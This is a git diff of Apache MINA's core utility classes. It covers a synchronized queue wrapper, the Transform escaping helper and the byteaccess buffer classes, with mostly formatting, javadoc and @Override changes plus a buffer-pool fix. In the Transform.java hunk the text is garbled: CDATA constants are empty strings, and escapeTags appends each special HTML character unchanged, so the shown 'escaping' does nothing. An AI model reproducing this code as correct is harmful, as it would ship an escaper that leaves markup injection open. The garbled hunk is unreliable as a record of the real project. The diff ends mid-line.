boolean contains(Object o) { - return q.contains(o); + return queue.contains(o); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean containsAll(Collection c) { - return q.containsAll(c); + return queue.containsAll(c); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean isEmpty() { - return q.isEmpty(); + return queue.isEmpty(); } + /** + * {@inheritDoc} + */ + @Override public synchronized Iterator iterator() { - return q.iterator(); + return queue.iterator(); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean remove(Object o) { - return q.remove(o); + return queue.remove(o); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean removeAll(Collection c) { - return q.removeAll(c); + return queue.removeAll(c); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean retainAll(Collection c) { - return q.retainAll(c); + return queue.retainAll(c); } + /** + * {@inheritDoc} + */ + @Override public synchronized int size() { - return q.size(); + return queue.size(); } + /** + * {@inheritDoc} + */ + @Override public synchronized Object[] toArray() { - return q.toArray(); + return queue.toArray(); } + /** + * {@inheritDoc} + */ + @Override public synchronized T[] toArray(T[] a) { - return q.toArray(a); + return queue.toArray(a); } + /** + * {@inheritDoc} + */ @Override public synchronized boolean equals(Object obj) { - return q.equals(obj); + return queue.equals(obj); } + /** + * {@inheritDoc} + */ @Override public synchronized int hashCode() { - return q.hashCode(); + return queue.hashCode(); } + /** + * {@inheritDoc} + */ @Override public synchronized String toString() { - return q.toString(); + return queue.toString(); } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/util/Transform.java b/mina-core/src/main/java/org/apache/mina/util/Transform.java index f60234655d..90e9b4292b 100644 --- a/mina-core/src/main/java/org/apache/mina/util/Transform.java +++ b/mina-core/src/main/java/org/apache/mina/util/Transform.java @@ -35,31 +35,30 @@ */ public class Transform { - private static final String CDATA_START = ""; + private static final String CDATA_START = ""; + private static final String CDATA_PSEUDO_END = "]]>"; + private static final String CDATA_EMBEDED_END = CDATA_END + CDATA_PSEUDO_END + CDATA_START; + private static final int CDATA_END_LEN = CDATA_END.length(); /** * This method takes a string which may contain HTML tags (ie, * <b>, <table>, etc) and replaces any - * '<', '>' , '&' or '"' + * '<', '>' , '&' or '"' * characters with respective predefined entity references. * * @param input The text to be converted. * @return The input string with the special characters replaced. * */ - static public String escapeTags(final String input) { + public static String escapeTags(String input) { // Check if the string is null, zero length or devoid of special characters // if so, return what was sent in. - if(input == null - || input.length() == 0 - || (input.indexOf('"') == -1 && - input.indexOf('&') == -1 && - input.indexOf('<') == -1 && - input.indexOf('>') == -1)) { + if (input == null || input.length() == 0) { return input; } @@ -67,60 +66,74 @@ static public String escapeTags(final String input) { char ch; int len = input.length(); - for(int i=0; i < len; i++) { + + for (int i = 0; i < len; i++) { ch = input.charAt(i); - if (ch > '>') { - buf.append(ch); - } else if(ch == '<') { - buf.append("<"); - } else if(ch == '>') { - buf.append(">"); - } else if(ch == '&') { - buf.append("&"); - } else if(ch == '"') { - buf.append("""); - } else { - buf.append(ch); + + switch ( ch ) + { + case '<' : + buf.append("<"); + break; + + case '>' : + buf.append(">"); + break; + + case '&' : + buf.append("&"); + break; + + case '"' : + buf.append("""); + break; + + default : + buf.append(ch); } } + return buf.toString(); } /** - * Ensures that embeded CDEnd strings (]]>) are handled properly + * Ensures that embeded CDEnd strings (]]>) are handled properly * within message, NDC and throwable tag text. * * @param buf StringBuffer holding the XML data to this point. The - * initial CDStart () of the CDATA + * initial CDStart (<![CDATA[) and final CDEnd (]]>) of the CDATA * section are the responsibility of the calling method. * @param str The String that is inserted into an existing CDATA Section within buf. * */ - static public void appendEscapingCDATA(final StringBuffer buf, - final String str) { + public static void appendEscapingCDATA(final StringBuilder buf, final String str) { if (str != null) { int end = str.indexOf(CDATA_END); + if (end < 0) { buf.append(str); } else { int start = 0; + while (end > -1) { buf.append(str.substring(start, end)); buf.append(CDATA_EMBEDED_END); start = end + CDATA_END_LEN; + if (start < str.length()) { end = str.indexOf(CDATA_END, start); } else { return; } } + buf.append(str.substring(start)); } } } /** - * convert a Throwable into an array of Strings - * @param throwable + * Converts a Throwable into an array of Strings + * @param throwable The Throwable to convert * @return string representation of the throwable */ public static String[] getThrowableStrRep(Throwable throwable) { @@ -129,19 +142,22 @@ public static String[] getThrowableStrRep(Throwable throwable) { throwable.printStackTrace(pw); pw.flush(); LineNumberReader reader = new LineNumberReader(new StringReader(sw.toString())); - ArrayList lines = new ArrayList(); + ArrayList lines = new ArrayList<>(); + try { String line = reader.readLine(); - while(line != null) { + + while (line != null) { lines.add(line); line = reader.readLine(); } - } catch(IOException ex) { + } catch (IOException ex) { lines.add(ex.toString()); } + String[] rep = new String[lines.size()]; lines.toArray(rep); + return rep; } - } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/AbstractByteArray.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/AbstractByteArray.java index 7f54887ed8..0036c08cbd 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/AbstractByteArray.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/AbstractByteArray.java @@ -19,7 +19,6 @@ */ package org.apache.mina.util.byteaccess; - /** * * Abstract class that implements {@link ByteArray}. This class will only be @@ -27,67 +26,68 @@ * * @author Apache MINA Project */ -abstract class AbstractByteArray implements ByteArray -{ - +abstract class AbstractByteArray implements ByteArray { /** - * @inheritDoc + * {@inheritDoc} */ - public final int length() - { + @Override + public final int length() { return last() - first(); } - + + + /** + * {@inheritDoc} + */ + @Override + public abstract int hashCode(); /** - * @inheritDoc + * {@inheritDoc} */ @Override - public final boolean equals( Object other ) - { + public final boolean equals(Object other) { // Optimization: compare pointers. - if ( other == this ) - { + if (other == this) { return true; } + // Compare types. - if ( !( other instanceof ByteArray ) ) - { + if (!(other instanceof ByteArray)) { return false; } - ByteArray otherByteArray = ( ByteArray ) other; + + ByteArray otherByteArray = (ByteArray) other; + // Compare properties. - if ( first() != otherByteArray.first() || last() != otherByteArray.last() - || !order().equals( otherByteArray.order() ) ) - { + if (first() != otherByteArray.first() || last() != otherByteArray.last() + || !order().equals(otherByteArray.order())) { return false; } + // Compare bytes. Cursor cursor = cursor(); Cursor otherCursor = otherByteArray.cursor(); - for ( int remaining = cursor.getRemaining(); remaining > 0; ) - { + + for (int remaining = cursor.getRemaining(); remaining > 0;) { // Optimization: prefer int comparisons over byte comparisons - if ( remaining >= 4 ) - { + if (remaining >= 4) { int i = cursor.getInt(); int otherI = otherCursor.getInt(); - if ( i != otherI ) - { + + if (i != otherI) { return false; } - } - else - { + } else { byte b = cursor.get(); byte otherB = otherCursor.get(); - if ( b != otherB ) - { + + if (b != otherB) { return false; } } } + return true; } - } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/BufferByteArray.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/BufferByteArray.java index 818e8065ff..64d3ab65ca 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/BufferByteArray.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/BufferByteArray.java @@ -19,13 +19,11 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import java.util.Collections; import org.apache.mina.core.buffer.IoBuffer; - /** * A ByteArray backed by a IoBuffer. This class * is abstract. Subclasses need to override the free() method. An @@ -34,8 +32,7 @@ * * @author Apache MINA Project */ -public abstract class BufferByteArray extends AbstractByteArray -{ +public abstract class BufferByteArray extends AbstractByteArray { /** * The backing IoBuffer. @@ -50,506 +47,464 @@ public abstract class BufferByteArray extends AbstractByteArray * @param bb * The backing buffer */ - public BufferByteArray( IoBuffer bb ) - { + public BufferByteArray(IoBuffer bb) { this.bb = bb; } - /** - * @inheritDoc + * {@inheritDoc} */ - public Iterable getIoBuffers() - { - return Collections.singletonList( bb ); + @Override + public Iterable getIoBuffers() { + return Collections.singletonList(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public IoBuffer getSingleIoBuffer() - { + @Override + public IoBuffer getSingleIoBuffer() { return bb; } - /** - * @inheritDoc + * {@inheritDoc} * * Calling free() on the returned slice has no effect. */ - public ByteArray slice( int index, int length ) - { + @Override + public ByteArray slice(int index, int length) { int oldLimit = bb.limit(); - bb.position( index ); - bb.limit( index + length ); + bb.position(index); + bb.limit(index + length); IoBuffer slice = bb.slice(); - bb.limit( oldLimit ); - return new BufferByteArray( slice ) - { + bb.limit(oldLimit); + return new BufferByteArray(slice) { @Override - public void free() - { + public void free() { // Do nothing. } }; } - - /** - * @inheritDoc - */ - public abstract void free(); - - /** - * @inheritDoc + * {@inheritDoc} */ - public Cursor cursor() - { + @Override + public Cursor cursor() { return new CursorImpl(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public Cursor cursor( int index ) - { - return new CursorImpl( index ); + @Override + public Cursor cursor(int index) { + return new CursorImpl(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int first() - { + @Override + public int first() { return 0; } - /** - * @inheritDoc + * {@inheritDoc} */ - public int last() - { + @Override + public int last() { return bb.limit(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteOrder order() - { + @Override + public ByteOrder order() { return bb.order(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void order( ByteOrder order ) - { - bb.order( order ); + @Override + public void order(ByteOrder order) { + bb.order(order); } - /** - * @inheritDoc + * {@inheritDoc} */ - public byte get( int index ) - { - return bb.get( index ); + @Override + public byte get(int index) { + return bb.get(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( int index, byte b ) - { - bb.put( index, b ); + @Override + public void put(int index, byte b) { + bb.put(index, b); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void get( int index, IoBuffer other ) - { - bb.position( index ); - other.put( bb ); + @Override + public void get(int index, IoBuffer other) { + bb.position(index); + other.put(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( int index, IoBuffer other ) - { - bb.position( index ); - bb.put( other ); + @Override + public void put(int index, IoBuffer other) { + bb.position(index); + bb.put(other); } - /** - * @inheritDoc + * {@inheritDoc} */ - public short getShort( int index ) - { - return bb.getShort( index ); + @Override + public short getShort(int index) { + return bb.getShort(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putShort( int index, short s ) - { - bb.putShort( index, s ); + @Override + public void putShort(int index, short s) { + bb.putShort(index, s); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getInt( int index ) - { - return bb.getInt( index ); + @Override + public int getInt(int index) { + return bb.getInt(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putInt( int index, int i ) - { - bb.putInt( index, i ); + @Override + public void putInt(int index, int i) { + bb.putInt(index, i); } - /** - * @inheritDoc + * {@inheritDoc} */ - public long getLong( int index ) - { - return bb.getLong( index ); + @Override + public long getLong(int index) { + return bb.getLong(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putLong( int index, long l ) - { - bb.putLong( index, l ); + @Override + public void putLong(int index, long l) { + bb.putLong(index, l); } - /** - * @inheritDoc + * {@inheritDoc} */ - public float getFloat( int index ) - { - return bb.getFloat( index ); + @Override + public float getFloat(int index) { + return bb.getFloat(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putFloat( int index, float f ) - { - bb.putFloat( index, f ); + @Override + public void putFloat(int index, float f) { + bb.putFloat(index, f); } - /** - * @inheritDoc + * {@inheritDoc} */ - public double getDouble( int index ) - { - return bb.getDouble( index ); + @Override + public double getDouble(int index) { + return bb.getDouble(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putDouble( int index, double d ) - { - bb.putDouble( index, d ); + @Override + public void putDouble(int index, double d) { + bb.putDouble(index, d); } - /** - * @inheritDoc + * {@inheritDoc} */ - public char getChar( int index ) - { - return bb.getChar( index ); + @Override + public char getChar(int index) { + return bb.getChar(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putChar( int index, char c ) - { - bb.putChar( index, c ); + @Override + public void putChar(int index, char c) { + bb.putChar(index, c); } - private class CursorImpl implements Cursor - { + private class CursorImpl implements Cursor { private int index; - - public CursorImpl() - { + public CursorImpl() { // This space intentionally blank. } - - public CursorImpl( int index ) - { - setIndex( index ); + public CursorImpl(int index) { + setIndex(index); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getRemaining() - { + @Override + public int getRemaining() { return last() - index; } - /** - * @inheritDoc + * {@inheritDoc} */ - public boolean hasRemaining() - { + @Override + public boolean hasRemaining() { return getRemaining() > 0; } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getIndex() - { + @Override + public int getIndex() { return index; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void setIndex( int index ) - { - if ( index < 0 || index > last() ) - { + @Override + public void setIndex(int index) { + if (index < 0 || index > last()) { throw new IndexOutOfBoundsException(); } this.index = index; } - - public void skip( int length ) - { - setIndex( index + length ); + /** + * {@inheritDoc} + */ + @Override + public void skip(int length) { + setIndex(index + length); } - - public ByteArray slice( int length ) - { - ByteArray slice = BufferByteArray.this.slice( index, length ); + /** + * {@inheritDoc} + */ + @Override + public ByteArray slice(int length) { + ByteArray slice = BufferByteArray.this.slice(index, length); index += length; return slice; } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteOrder order() - { + @Override + public ByteOrder order() { return BufferByteArray.this.order(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public byte get() - { - byte b = BufferByteArray.this.get( index ); + @Override + public byte get() { + byte b = BufferByteArray.this.get(index); index += 1; return b; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( byte b ) - { - BufferByteArray.this.put( index, b ); + @Override + public void put(byte b) { + BufferByteArray.this.put(index, b); index += 1; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void get( IoBuffer bb ) - { - int size = Math.min( getRemaining(), bb.remaining() ); - BufferByteArray.this.get( index, bb ); + @Override + public void get(IoBuffer bb) { + int size = Math.min(getRemaining(), bb.remaining()); + BufferByteArray.this.get(index, bb); index += size; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( IoBuffer bb ) - { + @Override + public void put(IoBuffer bb) { int size = bb.remaining(); - BufferByteArray.this.put( index, bb ); + BufferByteArray.this.put(index, bb); index += size; } - /** - * @inheritDoc + * {@inheritDoc} */ - public short getShort() - { - short s = BufferByteArray.this.getShort( index ); + @Override + public short getShort() { + short s = BufferByteArray.this.getShort(index); index += 2; return s; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putShort( short s ) - { - BufferByteArray.this.putShort( index, s ); + @Override + public void putShort(short s) { + BufferByteArray.this.putShort(index, s); index += 2; } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getInt() - { - int i = BufferByteArray.this.getInt( index ); + @Override + public int getInt() { + int i = BufferByteArray.this.getInt(index); index += 4; return i; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putInt( int i ) - { - BufferByteArray.this.putInt( index, i ); + @Override + public void putInt(int i) { + BufferByteArray.this.putInt(index, i); index += 4; } - /** - * @inheritDoc + * {@inheritDoc} */ - public long getLong() - { - long l = BufferByteArray.this.getLong( index ); + @Override + public long getLong() { + long l = BufferByteArray.this.getLong(index); index += 8; return l; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putLong( long l ) - { - BufferByteArray.this.putLong( index, l ); + @Override + public void putLong(long l) { + BufferByteArray.this.putLong(index, l); index += 8; } - /** - * @inheritDoc + * {@inheritDoc} */ - public float getFloat() - { - float f = BufferByteArray.this.getFloat( index ); + @Override + public float getFloat() { + float f = BufferByteArray.this.getFloat(index); index += 4; return f; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putFloat( float f ) - { - BufferByteArray.this.putFloat( index, f ); + @Override + public void putFloat(float f) { + BufferByteArray.this.putFloat(index, f); index += 4; } - /** - * @inheritDoc + * {@inheritDoc} */ - public double getDouble() - { - double d = BufferByteArray.this.getDouble( index ); + @Override + public double getDouble() { + double d = BufferByteArray.this.getDouble(index); index += 8; return d; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putDouble( double d ) - { - BufferByteArray.this.putDouble( index, d ); + @Override + public void putDouble(double d) { + BufferByteArray.this.putDouble(index, d); index += 8; } - /** - * @inheritDoc + * {@inheritDoc} */ - public char getChar() - { - char c = BufferByteArray.this.getChar( index ); + @Override + public char getChar() { + char c = BufferByteArray.this.getChar(index); index += 2; return c; } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putChar( char c ) - { - BufferByteArray.this.putChar( index, c ); + @Override + public void putChar(char c) { + BufferByteArray.this.putChar(index, c); index += 2; } } + + + /** + * {@inheritDoc} + */ + @Override + public int hashCode() { + int h = 17; + + if (bb != null) { + h = h * 37 + bb.hashCode(); + } + + return h; + } } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArray.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArray.java index 4273e6efe8..96d2f69380 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArray.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArray.java @@ -19,44 +19,38 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import org.apache.mina.core.buffer.IoBuffer; - /** * Represents a sequence of bytes that can be read or written directly or * through a cursor. * * @author Apache MINA Project */ -public interface ByteArray extends IoAbsoluteReader, IoAbsoluteWriter -{ - +public interface ByteArray extends IoAbsoluteReader, IoAbsoluteWriter { /** - * @inheritDoc + * @return the index of the first byte that can be accessed. */ int first(); - /** - * @inheritDoc + * @return the index after the last byte that can be accessed. */ int last(); - - + /** - * @inheritDoc + * @return the order of the bytes. */ ByteOrder order(); - /** * Set the byte order of the array. + * + * @param order The ByteOrder to use */ - void order( ByteOrder order ); - + void order(ByteOrder order); /** * Remove any resources associated with this object. Using the object after @@ -64,60 +58,42 @@ public interface ByteArray extends IoAbsoluteReader, IoAbsoluteWriter */ void free(); - /** - * Get the sequence of IoBuffers that back this array. + * @return the sequence of IoBuffers that back this array. * Compared to getSingleIoBuffer(), this method should be * relatively efficient for all implementations. */ Iterable getIoBuffers(); - /** - * Gets a single IoBuffer that backs this array. Some + * @return a single IoBuffer that backs this array. Some * implementations may initially have data split across multiple buffers, so * calling this method may require a new buffer to be allocated and * populated. */ IoBuffer getSingleIoBuffer(); - /** * A ByteArray is equal to another ByteArray if they start and end at the * same index, have the same byte order, and contain the same bytes at each * index. + * + * @param other The ByteArray we want to compare with + * @return true if both ByteArray are equals */ - public boolean equals( Object other ); - - - /** - * @inheritDoc - */ - byte get( int index ); - - - /** - * @inheritDoc - */ - public void get( int index, IoBuffer bb ); - - - /** - * @inheritDoc - */ - int getInt( int index ); - + @Override + boolean equals(Object other); /** - * Get a cursor starting at index 0 (which may not be the start of the array). + * @return a cursor starting at index 0 (which may not be the start of the array). */ Cursor cursor(); - /** - * Get a cursor starting at the given index. + * @param index The starting point + * @return a cursor starting at the given index. */ - Cursor cursor( int index ); + Cursor cursor(int index); /** * Provides relocatable, relative access to the underlying array. Multiple @@ -127,50 +103,49 @@ public interface ByteArray extends IoAbsoluteReader, IoAbsoluteWriter * Should this be Cloneable to allow cheap mark/position * emulation? */ - public interface Cursor extends IoRelativeReader, IoRelativeWriter - { + interface Cursor extends IoRelativeReader, IoRelativeWriter { /** - * Gets the current index of the cursor. + * @return the current index of the cursor. */ int getIndex(); - /** * Sets the current index of the cursor. No bounds checking will occur * until an access occurs. + * + * @param index The current index to set */ - void setIndex( int index ); - + void setIndex(int index); /** - * @inheritDoc + * {@inheritDoc} */ + @Override int getRemaining(); - /** - * @inheritDoc + * {@inheritDoc} */ + @Override boolean hasRemaining(); - /** - * @inheritDoc + * {@inheritDoc} */ + @Override byte get(); - /** - * @inheritDoc + * {@inheritDoc} */ - void get( IoBuffer bb ); - + @Override + void get(IoBuffer bb); /** - * @inheritDoc + * {@inheritDoc} */ + @Override int getInt(); } - } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayFactory.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayFactory.java index 5731ac58b8..ee84c8371d 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayFactory.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayFactory.java @@ -19,14 +19,12 @@ */ package org.apache.mina.util.byteaccess; - /** * A factory for ByteArrays. * * @author Apache MINA Project */ -public interface ByteArrayFactory -{ +public interface ByteArrayFactory { /** * Creates an instance of {@link ByteArray} of size specified by the * size parameter. @@ -36,5 +34,5 @@ public interface ByteArrayFactory * @return * The ByteArray */ - ByteArray create( int size ); + ByteArray create(int size); } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayList.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayList.java index 23db389201..a897f8861f 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayList.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayList.java @@ -19,17 +19,16 @@ */ package org.apache.mina.util.byteaccess; - import java.util.NoSuchElementException; - /** * A linked list that stores ByteArrays and maintains several useful invariants. + * + * Note : this class is *not* thread safe. * * @author Apache MINA Project */ -class ByteArrayList -{ +class ByteArrayList { /** * A {@link Node} which indicates the start and end of the list and does not @@ -53,32 +52,21 @@ class ByteArrayList * Creates a new instance of ByteArrayList. * */ - protected ByteArrayList() - { + protected ByteArrayList() { header = new Node(); } /** - * - * Returns the last byte in the array list - * - * @return - * The last byte in the array list + * @return The last byte in the array list */ - public int lastByte() - { + public int lastByte() { return lastByte; } /** - * - * Returns the first byte in the array list - * - * @return - * The first byte in the array list + * @return The first byte in the array list */ - public int firstByte() - { + public int firstByte() { return firstByte; } @@ -89,30 +77,21 @@ public int firstByte() * @return * True if empty, otherwise false */ - public boolean isEmpty() - { + public boolean isEmpty() { return header.next == header; } /** - * Returns the first node in the byte array - * - * @return - * + * @return the first node in the byte array */ - public Node getFirst() - { + public Node getFirst() { return header.getNextNode(); } /** - * Returns the last {@link Node} in the list - * - * @return - * The last node in the list + * @return the last {@link Node} in the list */ - public Node getLast() - { + public Node getLast() { return header.getPreviousNode(); } @@ -123,9 +102,8 @@ public Node getLast() * @param ba * The ByteArray to be added to the list */ - public void addFirst( ByteArray ba ) - { - addNode( new Node( ba ), header.next ); + public void addFirst(ByteArray ba) { + addNode(new Node(ba), header.next); firstByte -= ba.last(); } @@ -136,9 +114,8 @@ public void addFirst( ByteArray ba ) * @param ba * The ByteArray to be added to the list */ - public void addLast( ByteArray ba ) - { - addNode( new Node( ba ), header ); + public void addLast(ByteArray ba) { + addNode(new Node(ba), header); lastByte += ba.last(); } @@ -148,11 +125,10 @@ public void addLast( ByteArray ba ) * @return * The node that was removed */ - public Node removeFirst() - { + public Node removeFirst() { Node node = header.getNextNode(); firstByte += node.ba.last(); - return removeNode( node ); + return removeNode(node); } /** @@ -161,14 +137,12 @@ public Node removeFirst() * @return * The node that was taken off of the list */ - public Node removeLast() - { + public Node removeLast() { Node node = header.getPreviousNode(); lastByte -= node.ba.last(); - return removeNode( node ); + return removeNode(node); } - //----------------------------------------------------------------------- /** @@ -177,8 +151,7 @@ public Node removeLast() * @param nodeToInsert new node to insert * @param insertBeforeNode node to insert before */ - protected void addNode( Node nodeToInsert, Node insertBeforeNode ) - { + protected void addNode(Node nodeToInsert, Node insertBeforeNode) { // Insert node. nodeToInsert.next = insertBeforeNode; nodeToInsert.previous = insertBeforeNode.previous; @@ -186,14 +159,12 @@ protected void addNode( Node nodeToInsert, Node insertBeforeNode ) insertBeforeNode.previous = nodeToInsert; } - /** * Removes the specified node from the list. * * @param node the node to remove */ - protected Node removeNode( Node node ) - { + protected Node removeNode(Node node) { // Remove node. node.previous.next = node.next; node.next.previous = node.previous; @@ -208,100 +179,78 @@ protected Node removeNode( Node node ) * From Commons Collections 3.1, all access to the value property * is via the methods on this class. */ - public class Node - { + public class Node { /** A pointer to the node before this node */ private Node previous; - + /** A pointer to the node after this node */ private Node next; - + /** The ByteArray contained within this node */ private ByteArray ba; - - private boolean removed; + private boolean removed; /** * Constructs a new header node. */ - private Node() - { - super(); + private Node() { previous = this; next = this; } - /** * Constructs a new node with a value. */ - private Node( ByteArray ba ) - { - super(); - - if ( ba == null ) - { - throw new IllegalArgumentException( "ByteArray must not be null." ); + private Node(ByteArray ba) { + if (ba == null) { + throw new IllegalArgumentException("ByteArray must not be null."); } - + this.ba = ba; } - /** * Gets the previous node. * * @return the previous node */ - public Node getPreviousNode() - { - if ( !hasPreviousNode() ) - { + public Node getPreviousNode() { + if (!hasPreviousNode()) { throw new NoSuchElementException(); } + return previous; } - /** * Gets the next node. * * @return the next node */ - public Node getNextNode() - { - if ( !hasNextNode() ) - { + public Node getNextNode() { + if (!hasNextNode()) { throw new NoSuchElementException(); } + return next; } - - public boolean hasPreviousNode() - { + public boolean hasPreviousNode() { return previous != header; } - - public boolean hasNextNode() - { + public boolean hasNextNode() { return next != header; } - - public ByteArray getByteArray() - { + public ByteArray getByteArray() { return ba; } - - public boolean isRemoved() - { + public boolean isRemoved() { return removed; } } - } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayPool.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayPool.java index 02e1171764..9efb54cf03 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayPool.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/ByteArrayPool.java @@ -19,13 +19,11 @@ */ package org.apache.mina.util.byteaccess; - import java.util.ArrayList; import java.util.Stack; import org.apache.mina.core.buffer.IoBuffer; - /** * Creates ByteArrays, using a pool to reduce allocation where possible. * @@ -34,17 +32,22 @@ * * @author Apache MINA Project */ -public class ByteArrayPool implements ByteArrayFactory -{ +public class ByteArrayPool implements ByteArrayFactory { private final int MAX_BITS = 32; private boolean freed; + private final boolean direct; + private ArrayList> freeBuffers; + private int freeBufferCount = 0; + private long freeMemory = 0; + private final int maxFreeBuffers; + private final int maxFreeMemory; /** @@ -57,13 +60,11 @@ public class ByteArrayPool implements ByteArrayFactory * @param maxFreeMemory * The maximum amount of free memory allowed */ - public ByteArrayPool( boolean direct, int maxFreeBuffers, int maxFreeMemory ) - { + public ByteArrayPool(boolean direct, int maxFreeBuffers, int maxFreeMemory) { this.direct = direct; - freeBuffers = new ArrayList>(); - for ( int i = 0; i < MAX_BITS; i++ ) - { - freeBuffers.add( new Stack() ); + freeBuffers = new ArrayList<>(); + for (int i = 0; i < MAX_BITS; i++) { + freeBuffers.add(new Stack<>()); } this.maxFreeBuffers = maxFreeBuffers; this.maxFreeMemory = maxFreeMemory; @@ -76,38 +77,31 @@ public ByteArrayPool( boolean direct, int maxFreeBuffers, int maxFreeMemory ) * @param size * The size of the array to build */ - public ByteArray create( int size ) - { - if ( size < 1 ) - { - throw new IllegalArgumentException( "Buffer size must be at least 1: " + size ); + public ByteArray create(int size) { + if (size < 1) { + throw new IllegalArgumentException("Buffer size must be at least 1: " + size); } - int bits = bits( size ); - synchronized ( this ) - { - if ( !freeBuffers.isEmpty() ) - { - DirectBufferByteArray ba = freeBuffers.get( bits ).pop(); - ba.setFreed( false ); - ba.getSingleIoBuffer().limit( size ); + int bits = bits(size); + synchronized (this) { + if (!freeBuffers.get(bits).isEmpty()) { + DirectBufferByteArray ba = freeBuffers.get(bits).pop(); + ba.setFreed(false); + ba.getSingleIoBuffer().limit(size); return ba; } } IoBuffer bb; int bbSize = 1 << bits; - bb = IoBuffer.allocate( bbSize, direct ); - bb.limit( size ); - DirectBufferByteArray ba = new DirectBufferByteArray( bb ); - ba.setFreed( false ); + bb = IoBuffer.allocate(bbSize, direct); + bb.limit(size); + DirectBufferByteArray ba = new DirectBufferByteArray(bb); + ba.setFreed(false); return ba; } - - private int bits( int index ) - { + private int bits(int index) { int bits = 0; - while ( 1 << bits < index ) - { + while (1 << bits < index) { bits++; } return bits; @@ -117,13 +111,10 @@ private int bits( int index ) * Frees the buffers * */ - public void free() - { - synchronized ( this ) - { - if ( freed ) - { - throw new IllegalStateException( "Already freed." ); + public void free() { + synchronized (this) { + if (freed) { + throw new IllegalStateException("Already freed."); } freed = true; freeBuffers.clear(); @@ -131,41 +122,30 @@ public void free() } } - private class DirectBufferByteArray extends BufferByteArray - { + private class DirectBufferByteArray extends BufferByteArray { - public boolean freed; + private boolean freed; - - public DirectBufferByteArray( IoBuffer bb ) - { - super( bb ); + public DirectBufferByteArray(IoBuffer bb) { + super(bb); } - - public void setFreed( boolean freed ) - { + public void setFreed(boolean freed) { this.freed = freed; } - @Override - public void free() - { - synchronized ( this ) - { - if ( freed ) - { - throw new IllegalStateException( "Already freed." ); + public void free() { + synchronized (this) { + if (freed) { + throw new IllegalStateException("Already freed."); } freed = true; } - int bits = bits( last() ); - synchronized ( ByteArrayPool.this ) - { - if ( freeBuffers != null && freeBufferCount < maxFreeBuffers && freeMemory + last() <= maxFreeMemory ) - { - freeBuffers.get( bits ).push( this ); + int bits = bits(last()); + synchronized (ByteArrayPool.this) { + if (freeBuffers != null && freeBufferCount < maxFreeBuffers && freeMemory + last() <= maxFreeMemory) { + freeBuffers.get(bits).push(this); freeBufferCount++; freeMemory += last(); return; diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArray.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArray.java index 0e9af58dcd..baebd01920 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArray.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArray.java @@ -19,7 +19,6 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import java.util.ArrayList; import java.util.Collection; @@ -28,9 +27,8 @@ import org.apache.mina.core.buffer.IoBuffer; import 